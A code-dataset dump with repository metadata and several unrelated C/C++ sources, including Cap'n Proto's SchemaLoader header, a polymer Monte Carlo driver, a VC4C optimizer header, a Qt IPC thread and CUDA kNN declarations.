blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 4 201 | content_id stringlengths 40 40 | detected_licenses listlengths 0 85 | license_type stringclasses 2
values | repo_name stringlengths 7 100 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 260
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 11.4k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 80
values | src_encoding stringclasses 28
values | language stringclasses 1
value | is_vendor bool 1
class | is_generated bool 2
classes | length_bytes int64 8 9.86M | extension stringclasses 52
values | content stringlengths 8 9.86M | authors listlengths 1 1 | author stringlengths 0 119 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3f7d5ea9227f9fdd1919bb7a218c718d2af02db6 | 8ce3431278c3ce5de7b827c7f7d3284c730e0cb9 | /test/common.h | 5ef79572fe0260e51ed151cd9a62242ec5140337 | [] | no_license | patrickop/wkttool | af80f19c8753179a17c3f6f283c5c4c200dba3ce | c1c538f8f98edf9ca36af769c203910b4434bfac | refs/heads/master | 2022-12-15T09:56:17.059122 | 2020-09-13T21:42:10 | 2020-09-13T21:42:10 | 265,372,395 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 724 | h | #pragma once
#include <gmock/gmock.h>
#include <wkttool/types.h>
namespace boost::geometry::model {
std::ostream &operator<<(std::ostream &os,
const wkttool::geometry::Segment &geo) {
namespace bg = boost::geometry;
return os << bg::wkt(geo);
}
} // namespace boost::geometry::model
MATCHER_P2(SegmentNear, seg, tol, "") {
namespace bg = boost::geometry;
return (bg::distance(seg.first, arg.first) < tol and
bg::distance(seg.second, arg.second) < tol) or
(bg::distance(seg.first, arg.second) < tol and
bg::distance(seg.second, arg.first) < tol);
}
MATCHER_P2(PointNear, pt, tol, "") {
namespace bg = boost::geometry;
return bg::distance(pt, arg) < tol;
}
| [
"patrick.opgenoorth@gmail.com"
] | patrick.opgenoorth@gmail.com |
a454e4cf6061bc9cae54b71d1dde090fa3fea263 | b648a0ff402d23a6432643879b0b81ebe0bc9685 | /vendor/capnproto/c++/src/capnp/schema-loader.h | 90533158eb9d02151b67a3f15824d90742ace203 | [
"Apache-2.0",
"MIT"
] | permissive | jviotti/binary-json-size-benchmark | 4712faca2724d47d23efef241983ce875dc71cee | 165b577884ef366348bf48042fddf54aacfe647a | refs/heads/main | 2023-04-18T01:40:26.141995 | 2022-12-19T13:25:35 | 2022-12-19T13:25:35 | 337,583,132 | 21 | 1 | Apache-2.0 | 2022-12-17T21:53:56 | 2021-02-10T01:18:05 | C++ | UTF-8 | C++ | false | false | 8,544 | h | // Copyright (c) 2013-2014 Sandstorm Development Group, Inc. and contributors
// Licensed under the MIT License:
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#pragma once
#include "schema.h"
#include <kj/memory.h>
#include <kj/mutex.h>
CAPNP_BEGIN_HEADER
namespace capnp {
class SchemaLoader {
// Class which can be used to construct Schema objects from schema::Nodes as defined in
// schema.capnp.
//
// It is a bad idea to use this class on untrusted input with exceptions disabled -- you may
// be exposing yourself to denial-of-service attacks, as attackers can easily construct schemas
// that are subtly inconsistent in a way that causes exceptions to be thrown either by
// SchemaLoader or by the dynamic API when the schemas are subsequently used. If you enable and
// properly catch exceptions, you should be OK -- assuming no bugs in the Cap'n Proto
// implementation, of course.
public:
class LazyLoadCallback {
public:
virtual void load(const SchemaLoader& loader, uint64_t id) const = 0;
// Request that the schema node with the given ID be loaded into the given SchemaLoader. If
// the callback is able to find a schema for this ID, it should invoke `loadOnce()` on
// `loader` to load it. If no such node exists, it should simply do nothing and return.
//
// The callback is allowed to load schema nodes other than the one requested, e.g. because it
// expects they will be needed soon.
//
// If the `SchemaLoader` is used from multiple threads, the callback must be thread-safe.
// In particular, it's possible for multiple threads to invoke `load()` with the same ID.
// If the callback performs a large amount of work to look up IDs, it should be sure to
// de-dup these requests.
};
SchemaLoader();
SchemaLoader(const LazyLoadCallback& callback);
// Construct a SchemaLoader which will invoke the given callback when a schema node is requested
// that isn't already loaded.
~SchemaLoader() noexcept(false);
KJ_DISALLOW_COPY(SchemaLoader);
Schema get(uint64_t id, schema::Brand::Reader brand = schema::Brand::Reader(),
Schema scope = Schema()) const;
// Gets the schema for the given ID, throwing an exception if it isn't present.
//
// The returned schema may be invalidated if load() is called with a new schema for the same ID.
// In general, you should not call load() while a schema from this loader is in-use.
//
// `brand` and `scope` are used to determine brand bindings where relevant. `brand` gives
// parameter bindings for the target type's brand parameters that were specified at the reference
// site. `scope` specifies the scope in which the type ID appeared -- if `brand` itself contains
// parameter references or indicates that some parameters will be inherited, these will be
// interpreted within / inherited from `scope`.
kj::Maybe<Schema> tryGet(uint64_t id, schema::Brand::Reader bindings = schema::Brand::Reader(),
Schema scope = Schema()) const;
// Like get() but doesn't throw.
Schema getUnbound(uint64_t id) const;
// Gets a special version of the schema in which all brand parameters are "unbound". This means
// that if you look up a type via the Schema API, and it resolves to a brand parameter, the
// returned Type's getBrandParameter() method will return info about that parameter. Otherwise,
// normally, all brand parameters that aren't otherwise bound are assumed to simply be
// "AnyPointer".
Type getType(schema::Type::Reader type, Schema scope = Schema()) const;
// Convenience method which interprets a schema::Type to produce a Type object. Implemented in
// terms of get().
Schema load(const schema::Node::Reader& reader);
// Loads the given schema node. Validates the node and throws an exception if invalid. This
// makes a copy of the schema, so the object passed in can be destroyed after this returns.
//
// If the node has any dependencies which are not already loaded, they will be initialized as
// stubs -- empty schemas of whichever kind is expected.
//
// If another schema for the given reader has already been seen, the loader will inspect both
// schemas to determine which one is newer, and use that that one. If the two versions are
// found to be incompatible, an exception is thrown. If the two versions differ but are
// compatible and the loader cannot determine which is newer (e.g., the only changes are renames),
// the existing schema will be preferred. Note that in any case, the loader will end up keeping
// around copies of both schemas, so you shouldn't repeatedly reload schemas into the same loader.
//
// The following properties of the schema node are validated:
// - Struct size and preferred list encoding are valid and consistent.
// - Struct members are fields or unions.
// - Union members are fields.
// - Field offsets are in-bounds.
// - Ordinals and codeOrders are sequential starting from zero.
// - Values are of the right union case to match their types.
//
// You should assume anything not listed above is NOT validated. In particular, things that are
// not validated now, but could be in the future, include but are not limited to:
// - Names.
// - Annotation values. (This is hard because the annotation declaration is not always
// available.)
// - Content of default/constant values of pointer type. (Validating these would require knowing
// their schema, but even if the schemas are available at validation time, they could be
// updated by a subsequent load(), invalidating existing values. Instead, these values are
// validated at the time they are used, as usual for Cap'n Proto objects.)
//
// Also note that unknown types are not considered invalid. Instead, the dynamic API returns
// a DynamicValue with type UNKNOWN for these.
Schema loadOnce(const schema::Node::Reader& reader) const;
// Like `load()` but does nothing if a schema with the same ID is already loaded. In contrast,
// `load()` would attempt to compare the schemas and take the newer one. `loadOnce()` is safe
// to call even while concurrently using schemas from this loader. It should be considered an
// error to call `loadOnce()` with two non-identical schemas that share the same ID, although
// this error may or may not actually be detected by the implementation.
template <typename T>
void loadCompiledTypeAndDependencies();
// Load the schema for the given compiled-in type and all of its dependencies.
//
// If you want to be able to cast a DynamicValue built from this SchemaLoader to the compiled-in
// type using as<T>(), you must call this method before constructing the DynamicValue. Otherwise,
// as<T>() will throw an exception complaining about type mismatch.
kj::Array<Schema> getAllLoaded() const;
// Get a complete list of all loaded schema nodes. It is particularly useful to call this after
// loadCompiledTypeAndDependencies<T>() in order to get a flat list of all of T's transitive
// dependencies.
private:
class Validator;
class CompatibilityChecker;
class Impl;
class InitializerImpl;
class BrandedInitializerImpl;
kj::MutexGuarded<kj::Own<Impl>> impl;
void loadNative(const _::RawSchema* nativeSchema);
};
template <typename T>
inline void SchemaLoader::loadCompiledTypeAndDependencies() {
loadNative(&_::rawSchema<T>());
}
} // namespace capnp
CAPNP_END_HEADER
| [
"jv@jviotti.com"
] | jv@jviotti.com |
d301de2352159e859b2fd2605c65058d1bf8a575 | 044facb13bff7414439db8706ed322ea505698fa | /10_28_2015/simulation.cpp | 5345654cbe2bb044e2a249342b7c7da6909b018a | [] | no_license | paglenn/WLC | 2c42944bfe707018b5dbfb6ec471518aff2642c7 | e57544eba1380da6a260532b5b72b39c0d1fa433 | refs/heads/master | 2020-12-24T14:35:54.944179 | 2015-11-09T14:43:35 | 2015-11-09T14:43:35 | 23,404,500 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,111 | cpp | #include "engine.h"
#include<vector>
#include<ctime>
#include<fstream>
using std::cout ;
using std::endl ;
int main(int argc, char* argv[]) {
//cout << "Hi there " << endl ;
//
ofstream ferr ;
ferr.open("errors.dat") ;
if (argc < 4 ) {
cerr << "usage: ./wlc RP TP RPTP " << endl ;
return 0 ;
}
int start_time = time(0);
double rp_in = atof( argv[1]) ;
double tp_in = atof(argv[2]) ;
double rptp_in = atof(argv[3]) ;
init();
adjustTP(tp_in) ;
adjustRP(rp_in) ;
char progress[75] ;
alignRPTP(rptp_in) ;
double pct_acc = 0;
sprintf(progress, "RP = %g \t TP = %g \t RPTP = %g \n", getRP(),getTP(),getRPTP() ) ;
fputs(progress,progressFile) ;
int blockLength;
for(int j = 0; j < numSweeps; j++) {
// decide resolution
if(j == 0) {
blockLength = equilibrationTime;
} else {
blockLength = sampleRate;
}
// carry out a block of steps before recording data
for(int i = 0 ; i < blockLength; i++) {
int acc = mc_step();
pct_acc += acc / (float) sampleRate ;
}
WriteEventData(j);
// Write progress report
if(j%progressRate == 0 ) {
sprintf(progress,"step %g/%g\n", (float) j , (float) numSweeps);
fputs(progress,progressFile);
//cout << "step: " << j << endl ;
//cout << getRP() << endl ;
ferr << fabs((getRP() - RP)) << endl ;
}
checkNorms();
} // end simulation
// write statistics and close up
writeHistograms();
write_metadata();
writeLogFile(); // REQ: write this after hist file
//GoldstoneModes() ; // useless but interesting theoretically
sprintf(progress, "Z = %g \t RP = %g \t TP = %g \t RPTP = %g ", getZ() ,getRP(),getTP(),getRPTP() ) ;
fputs(progress,progressFile) ;
char summary[70];
int end_time = time(0);
double tdiff = (end_time - start_time)/float(60); // simulation time in minutes
pct_acc = pct_acc / (double) numSweeps;
sprintf(summary,"%.2f%% steps accepted\nrunning time: %.2f minutes\n",100*(pct_acc),tdiff);
fputs(summary,progressFile);
sprintf(summary,"zmax: %.2f", z_mp ) ;
ferr.close();
return cleanup();
}
| [
"nls.pglenn@gmail.com"
] | nls.pglenn@gmail.com |
0238f6a2d297f98887726ec3860c3e3d196e594b | aab66ad300e21dc201810e8b9afc81910e9dabbf | /src/optimization/Combiner.h | dac027717416bbae5c4dcae0ca1f4b95a2bce4e3 | [
"MIT"
] | permissive | harleyzhang/VC4C | f5f66b5bacf0437c99c0f61a6fb8b80f62c47517 | 814dd816498d456b063f0e23ffd7407147452cb4 | refs/heads/master | 2021-09-01T23:50:28.973760 | 2017-12-27T12:00:38 | 2017-12-27T12:00:38 | 114,736,088 | 0 | 0 | null | 2017-12-19T07:58:40 | 2017-12-19T07:58:40 | null | UTF-8 | C++ | false | false | 2,226 | h | /*
* Author: doe300
*
* See the file "LICENSE" for the full license governing this code.
*/
#ifndef COMBINER_H
#define COMBINER_H
#include "config.h"
namespace vc4c
{
class Method;
class Module;
class InstructionWalker;
namespace optimizations
{
/*
* Combine successive branches to the same label into a single branch
*/
InstructionWalker combineDuplicateBranches(const Module& module, Method& method, InstructionWalker it, const Configuration& config);
/*
* Combine ALU-instructions which (can) use different ALUs into a single instruction accessing both ALUs
*/
void combineOperations(const Module& module, Method& method, const Configuration& config);
/*
* Combines the loading of the same literal within a small range in basic blocks
*/
void combineLoadingLiterals(const Module& module, Method& method, const Configuration& config);
/*
* Adds a branch from the end to the start to allow for running several kernels (from several work-groups) in one execution.
* Since the kernels have different group-IDs, all instructions (including loading of parameters) are repeated.
* Otherwise, all parameters would need to reserve their registers over the whole range of the program, which would fail a lot of kernels.
*/
void unrollWorkGroups(const Module& module, Method& method, const Configuration& config);
/*
* Prepares selections (successive writes to same value with inverted conditions) which write to a local, have no side-effects and one of the sources is zero
* for combination, by rewriting the zero-write to xor-ing the other value
*/
InstructionWalker combineSelectionWithZero(const Module& module, Method& method, InstructionWalker it, const Configuration& config);
/*
* Combines vector several consecutive rotations with the same data
*/
void combineVectorRotations(const Module& module, Method& method, const Configuration& config);
/*
* Combines successive setting of the same flag (e.g. introduced by PHI-nodes)
*/
InstructionWalker combineSameFlags(const Module& module, Method& method, InstructionWalker it, const Configuration& config);
} // namespace optimizations
} // namespace vc4c
#endif /* COMBINER_H */
| [
"stadeldani@web.de"
] | stadeldani@web.de |
b9c96a190148859dd52dfe7f60bf81d027b4a380 | a4ca1e0cde964fca9dc35aa808f8e348a2e70278 | /Perf/Sys.h | 745ff7501ff97bbf8c7d5ddaa42f462abe0bf1bb | [] | no_license | tigranmt/perf | 174c8c40bf5b363c593b6b486f2c79eec5fefdcc | e47880397902b253c10995bbdb6c0d63d5a41f88 | refs/heads/master | 2021-09-05T19:21:13.809348 | 2018-01-30T14:07:20 | 2018-01-30T14:07:20 | 119,469,921 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 599 | h | /*
* Class contains Windows performance primitves only
*/
#pragma once
#ifdef _WIN32
#include "windows.h"
#include "psapi.h"
#endif
namespace System
{
struct Info
{
static unsigned long GetProcessWorkingSet()
{
#ifdef _WIN32
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
return pmc.WorkingSetSize;
#endif
}
static unsigned long GetProcessWorkingSetPeak()
{
#ifdef _WIN32
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
return pmc.PeakWorkingSetSize;
#endif
}
};
}
| [
"tigranmt@gmail.com"
] | tigranmt@gmail.com |
bd03d87c9fc29c6d45758b61f0ae42bf26ca6fcd | 7872083e3db1874b8523f1a66c652597a285323a | /src/qt/qtipcserver.cpp | 3fc4ea05c26f3a1a1de2738dda95aec2b2922f83 | [
"MIT"
] | permissive | MarcusD79/xcash | 6e7e79f91ab0660381c2afc0eec258250ef30ab4 | efb25b41bbfff3fb6f17e0e191b82d9b01793c77 | refs/heads/master | 2021-07-11T17:40:55.093294 | 2017-10-11T17:25:39 | 2017-10-11T17:25:39 | 106,113,079 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,370 | cpp | // Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file license.txt or http://www.opensource.org/licenses/mit-license.php.
#include "qtipcserver.h"
#include "guiconstants.h"
#include "ui_interface.h"
#include "util.h"
#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/interprocess/ipc/message_queue.hpp>
#include <boost/version.hpp>
#if defined(WIN32) && (!defined(BOOST_INTERPROCESS_HAS_WINDOWS_KERNEL_BOOTTIME) || !defined(BOOST_INTERPROCESS_HAS_KERNEL_BOOTTIME) || BOOST_VERSION < 104900)
#warning Compiling without BOOST_INTERPROCESS_HAS_WINDOWS_KERNEL_BOOTTIME and BOOST_INTERPROCESS_HAS_KERNEL_BOOTTIME uncommented in boost/interprocess/detail/tmp_dir_helpers.hpp or using a boost version before 1.49 may have unintended results see svn.boost.org/trac/boost/ticket/5392
#endif
using namespace boost;
using namespace boost::interprocess;
using namespace boost::posix_time;
static void ipcThread2(void* pArg);
#ifdef MAC_OSX
// URI handling not implemented on OSX yet
void ipcInit() { }
#else
static void ipcThread(void* pArg)
{
IMPLEMENT_RANDOMIZE_STACK(ipcThread(pArg));
// Make this thread recognisable as the GUI-IPC thread
RenameThread("bitcoin-gui-ipc");
try
{
ipcThread2(pArg);
}
catch (std::exception& e) {
PrintExceptionContinue(&e, "ipcThread()");
} catch (...) {
PrintExceptionContinue(NULL, "ipcThread()");
}
printf("ipcThread exited\n");
}
static void ipcThread2(void* pArg)
{
printf("ipcThread started\n");
message_queue* mq = (message_queue*)pArg;
char buffer[MAX_URI_LENGTH + 1] = "";
size_t nSize = 0;
unsigned int nPriority = 0;
loop
{
ptime d = boost::posix_time::microsec_clock::universal_time() + millisec(100);
if (mq->timed_receive(&buffer, sizeof(buffer), nSize, nPriority, d))
{
uiInterface.ThreadSafeHandleURI(std::string(buffer, nSize));
Sleep(1000);
}
if (fShutdown)
break;
}
// Remove message queue
message_queue::remove(BITCOINURI_QUEUE_NAME);
// Cleanup allocated memory
delete mq;
}
void ipcInit()
{
message_queue* mq = NULL;
char buffer[MAX_URI_LENGTH + 1] = "";
size_t nSize = 0;
unsigned int nPriority = 0;
try {
mq = new message_queue(open_or_create, BITCOINURI_QUEUE_NAME, 2, MAX_URI_LENGTH);
// Make sure we don't lose any xcash: URIs
for (int i = 0; i < 2; i++)
{
ptime d = boost::posix_time::microsec_clock::universal_time() + millisec(1);
if (mq->timed_receive(&buffer, sizeof(buffer), nSize, nPriority, d))
{
uiInterface.ThreadSafeHandleURI(std::string(buffer, nSize));
}
else
break;
}
// Make sure only one instance is listening
message_queue::remove(BITCOINURI_QUEUE_NAME);
delete mq;
mq = new message_queue(open_or_create, BITCOINURI_QUEUE_NAME, 2, MAX_URI_LENGTH);
}
catch (interprocess_exception &ex) {
printf("ipcInit() - boost interprocess exception #%d: %s\n", ex.get_error_code(), ex.what());
return;
}
if (!CreateThread(ipcThread, mq))
{
delete mq;
return;
}
}
#endif
| [
"marcus_d@gmx.com"
] | marcus_d@gmx.com |
f49d99d598df37385778ec991467e45a599eee4d | bcb569fb7eefce77ef4f31bca0cfa73029298ae0 | /banco/GameServer/trunk/src/process/PushCardProc.cpp | b3bea6fcb3f0f5784831cff725e52b98c006cb31 | [] | no_license | xubingyue/GP | e3b3f69b3d412057933ca32e61a57005ab19df80 | 7b0e7b48c1389e39aafb83a7337723400f18ada5 | refs/heads/master | 2020-09-15T01:32:03.539712 | 2018-07-18T10:46:19 | 2018-07-18T10:46:19 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,622 | cpp | #include "PushCardProc.h"
#include "Logger.h"
#include "Room.h"
#include "GameCmd.h"
#include "ProcessManager.h"
PushCardProc::PushCardProc()
{
this->name = "PushCardProc";
}
PushCardProc::~PushCardProc()
{
}
static void replyPhp(CDLSocketHandler * clientHandler, int cmd, short retcode)
{
OutputPacket response;
response.Begin(cmd, 0);
response.WriteShort(retcode);
response.End();
clientHandler->Send(response.packet_buf(), response.packet_size());
}
int PushCardProc::doRequest(CDLSocketHandler * clientHandler, InputPacket * inputPacket, Context * pt)
{
int cmd = inputPacket->GetCmdType();
int xiandui = inputPacket->ReadInt(); //赢的区域
int xian = inputPacket->ReadInt(); //是否有庄对
int he = inputPacket->ReadInt(); //是否有闲对
int zhuang = inputPacket->ReadInt(); //是否有闲对
int zhuangdui = inputPacket->ReadInt(); //是否有闲对
int winArea = WIN_TYPE_NONE;
if (xian == 1)
{
winArea = WIN_TYPE_XIAN;
}
if (he == 1)
{
winArea = WIN_TYPE_HE;
}
if (zhuang == 1)
{
winArea = WIN_TYPE_ZHUANG;
}
LOGGER(E_LOG_INFO) << "recieve php push card msg, win area = " << winArea
<< " zhuangdui = " << zhuangdui
<< " xiandui = " << xiandui
;
//Room* room = Room::getInstance();
//Table *table = room->getTable();
//if (table == NULL)
//{
// LOGGER(E_LOG_ERROR) << "table is NULL";
// replyPhp(clientHandler, cmd, 1); // reply php operate failed!
// return 0;
//}
//// reply php operate success!
//replyPhp(clientHandler, cmd, 0);
//table->receivePush(winArea, zhuangdui, xiandui);
return 0;
}
REGISTER_PROCESS(PHP_PUSH_CARD, PushCardProc); | [
"wintersky08@163.com"
] | wintersky08@163.com |
105a1d4610f8706d469cdfaa40a721a560e025e2 | a0ac0cb4113b731721c73dbca165f0f473e20435 | /data/kernels/10483/34/knn_cuda_with_indexes.h | 294e299877dd56cd4a50247aba1a61308eda882b | [] | no_license | NTNU-HPC-Lab/LS-CAT | 93f2d5d24937c518a8a216e56e54961658fcaab8 | 83a50786eee2de633be477819c044d2c9a1ad076 | refs/heads/master | 2023-08-22T11:53:35.114641 | 2023-08-08T14:12:14 | 2023-08-08T14:12:14 | 380,981,826 | 0 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 2,400 | h | #ifndef KNN_CUDA_WITH_INDEXES_H
#define KNN_CUDA_WITH_INDEXES_H
namespace knn_cuda_with_indexes {
/**
* Prints the error message return during the memory allocation.
*
* @param error error value return by the memory allocation function
* @param memorySize size of memory tried to be allocated
*/
void printErrorMessage(cudaError_t error, int memorySize);
/**
* K nearest neighbor algorithm
* - Initialize CUDA
* - Allocate device memory
* - Copy point sets (reference and query points) from host to device memory
* - Compute the distances + indexes to the k nearest neighbors for each query point
* - Copy distances from device to host memory
*
* @param ref_host reference points ; pointer to linear matrix
* @param ref_width number of reference points ; width of the matrix
* @param query_host query points ; pointer to linear matrix
* @param query_width number of query points ; width of the matrix
* @param height dimension of points ; height of the matrices
* @param k number of neighbor to consider
* @param dist_host distances to k nearest neighbors ; pointer to linear matrix
* @param ind_host indexes of the k nearest neighbors ; pointer to linear matrix
*
*/
void knn(float* ref_host, int ref_width, float* query_host, int query_width, int height, int k, float* dist_host, int* ind_host);
/**
* Computes the Euclidean distances between points
*
* @param ref_host reference points ; pointer to linear matrix
* @param ref_width number of reference points ; width of the matrix
* @param query_host query points ; pointer to linear matrix
* @param query_width number of query points ; width of the matrix
* @param height dimension of points ; height of the matrices
* @param dist_host distances of each element in query (col) to each element in ref (row)
* @param inf whether the norm is finite or not
* @param norm value of the norm. If inf is true, the sign of this indicates whether we are using positive or negative infinity
*/
void computeDistances(float* ref_host, int ref_width, float* query_host, int query_width, int height, float* dist_host, bool inf, float norm);
}
#endif
| [
"jacobot@selbu.idi.ntnu.no"
] | jacobot@selbu.idi.ntnu.no |
ff145c0c9dd76cbbc8ad3167469002906979b2b3 | 5e0bb36869a5f9650832558f1e17b6743ee1f040 | /easysequence.cc | c462c15680d63925ca235c04c1cfeffeeb91edf0 | [] | no_license | Van-NguyenPham/TTUD | 9977286942a2ff1ecd8e749b73b63cd6c331cf87 | 806bd5270c9dd5f6beea1160e1439d410c80527e | refs/heads/master | 2023-03-18T07:51:51.604869 | 2020-01-16T07:24:16 | 2020-01-16T07:24:16 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 419 | cc | #include <iostream>
using namespace std;
#define MAX 10001
int a[MAX];
int n, k;
void solve()
{
long long sum[MAX];
long long q = 0;
for(int i = 0; i < n; i++)
{
sum[i] = a[i];
if(sum[i] % k == 0)
{
q++;
}
for(int j = i+1; j < n; j++)
{
sum[i] += a[j];
if(sum[i] % k == 0)
{
q++;
}
}
}
cout<<q;
}
int main()
{
cin>>n>>k;
for(int i = 0; i < n; i++)
{
cin>>a[i];
}
solve();
} | [
"nguyenpv195@gmail.com"
] | nguyenpv195@gmail.com |
f3d7af10b34d19b9dc6dfed7507ea26787bffc55 | e3b717011a8da96af3b2545202e0bf889e02551f | /Leetcode/Letter_Combinations_of_a_Phone_Number.cpp | 375f9f49d764dd2b2fc75815eb413cf5f55d500b | [] | no_license | minoring/problem-solving | 4120d6a23d099a70d5ff41de157edbd51fc22182 | d95bd9b4693dbf36275d4aa40d7e8e4eb5f30cd5 | refs/heads/master | 2021-06-25T06:09:07.540323 | 2020-12-03T11:20:47 | 2020-12-03T11:20:47 | 173,681,720 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,200 | cpp | #include <iostream>
#include <string>
#include <vector>
using namespace std;
char dial[10][5] = {
{},
{},
{'a', 'b', 'c'},
{'d', 'e', 'f'},
{'g', 'h', 'i'},
{'j', 'k', 'l'},
{'m', 'n', 'o'},
{'p', 'q', 'r', 's'},
{'t', 'u', 'v'},
{'w', 'x', 'y', 'z'},
};
class Solution {
public:
vector<string> letterCombinations(string digits) {
if (digits == "") {
return vector<string>();
}
vector<string> res;
comb("", digits, &res);
return res;
}
void comb(const string& combStr, const string& digit, vector<string>* res) {
if (digit == "") {
res->push_back(combStr);
return;
}
for (int i = 0; i < 3; ++i) {
comb(combStr + dial[digit[0] - '0'][i],
digit.substr(1, digit.size() - 1), res);
}
if (digit[0] == '7' || digit[0] == '9') {
comb(combStr + dial[digit[0] - '0'][3],
digit.substr(1, digit.size() - 1), res);
}
}
};
int main() {
Solution sol;
vector<string> res = sol.letterCombinations("23");
for (auto s : res) {
cout << s << ' ';
}
} | [
"minho1350@gmail.com"
] | minho1350@gmail.com |
d161db3e5f955555697af0c400636fa5d50f49ca | 447053bb624053baf78edd65760fe4f85309d469 | /project/include/thesis/thread_management.h | e7450b9853029534e936ec95fc12e232368d9c22 | [] | no_license | quanghuy1258/thesis_project | 952ba86caa21ee597b473524936b256a8b378c35 | 7a772c82658d5719238491d01edfe46cd89d8a88 | refs/heads/master | 2022-02-12T16:20:54.966436 | 2019-08-09T03:36:55 | 2019-08-09T03:36:55 | 159,303,303 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 296 | h | #ifndef THREAD_MANAGEMENT_H
#define THREAD_MANAGEMENT_H
#include "thesis/declarations.h"
#include "thesis/load_lib.h"
namespace thesis {
class ThreadManagement {
public:
static int getNumberThreadsInPool();
static void schedule(std::function<void()> fn);
};
} // namespace thesis
#endif
| [
"quanghuy1258@gmail.com"
] | quanghuy1258@gmail.com |
8cea659935026c45918faa7f4c62e579093962cc | 97aaf53dc0d20e5d459da36d8cd579426f7fc247 | /old_code/CNeoEditField.h | 2f2e36570efb20ffe0e4616a94f2f48167927ab2 | [] | no_license | jschnarr/neosearch | 06f5a8e9d070efc53ca27d5a79628c8f3f533ae9 | 000acd92c8dc63b4955b39728b5dabb87e589868 | refs/heads/master | 2020-07-15T02:55:41.857291 | 2017-03-07T07:47:30 | 2017-03-07T07:47:30 | 205,463,591 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 414 | h |
#pragma once
#include <LEditField.h>
#include <LBroadcaster.h>
const MessageT Return_Key_Pressed = 202;
class CNeoEditField : public LEditField, public LBroadcaster {
public:
static CNeoEditField* CreateEditFieldStream(LStream *inStream);
CNeoEditField();
CNeoEditField(LStream *inStream);
virtual ~CNeoEditField() {};
virtual Boolean HandleKeyPress(const EventRecord &inKeyEvent);
};
| [
"joshua@jpserve.net"
] | joshua@jpserve.net |
2a96d75642599823d5fd036b0abd76d591dd54c0 | b1841dd9dda5cbb4ba3dc6c46a0fa13d93600868 | /MapSplice_multi_threads_2.0.1.9/src/alignmenthandler_multi/old_524/sharedlib.h | 0f2cf7b2656e4be9e3ab743addfffc43d792c3f6 | [] | no_license | bioinfo-incliva/docker-mapsplice | 25fac9a9dd3bcb039409b5ce90b879a5090c1538 | 2f8e6f1e912f4bddc46ab9dffc36e1689a5072ad | refs/heads/master | 2023-02-02T14:50:27.350922 | 2020-12-21T18:10:34 | 2020-12-21T18:10:34 | 323,396,204 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,736 | h | #ifndef SHAREDLIB_H
#define SHAREDLIB_H
#define _CRT_SECURE_NO_WARNINGS
//#define VS
#define LINUX
//#define DEBUG
#include <iostream>
#include <vector>
#include <string>
#ifdef VS
#include <hash_map> //vc only
#else
#include <ext/hash_map> //g++ only
#endif
#include <fstream>
#include <sstream>
#include <sys/stat.h>
#include <algorithm>
//#include <dirent.h>
#include <iomanip>
#include <map>
#include <set>
#include <queue>
#include <list>
#include <cmath>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <bitset>
#include <iterator>
#include <time.h>
#include <sstream>
#include <pthread.h>
#include <signal.h>
#include <unistd.h>
//#include "agbl/specialfunctions.h"
using namespace std;
#ifdef VS
using namespace stdext;
#endif
#ifndef VS
using __gnu_cxx::hash;
using __gnu_cxx::hash_map;
#endif
#ifndef VS
using __gnu_cxx::hash;
using __gnu_cxx::hash_map;
namespace __gnu_cxx
{
template<class Traits, class Allocator>
struct hash<std::basic_string<char, Traits, Allocator> >
{
size_t operator()(const std::basic_string<char, Traits, Allocator>& __s) const
{
return __stl_hash_string(__s.c_str());
}
};
}
#endif
#define IS_PAIRED 0x0001
#define IS_PAIRED_MAPPED 0x0002
#define IS_UNMAPPED 0x0004
#define MATE_UNMAPPED 0x0008
#define IS_REVERSE 0x0010
#define IS_MATE_REVERSE 0x0020
#define IS_FIRST_END 0x040
#define IS_SECOND_END 0x0080
#define IS_PRIMARY 0x0100
#define IS_FAILED_QUAL_CHECK 0x0200
#define IS_PCR_DUP 0x0400
#define THIRTY_TWO 32
const size_t ALL_BITS_ON = static_cast<size_t>(-1);
const size_t LOWER_THIRTY_TWO_MASK = ALL_BITS_ON >> THIRTY_TWO;
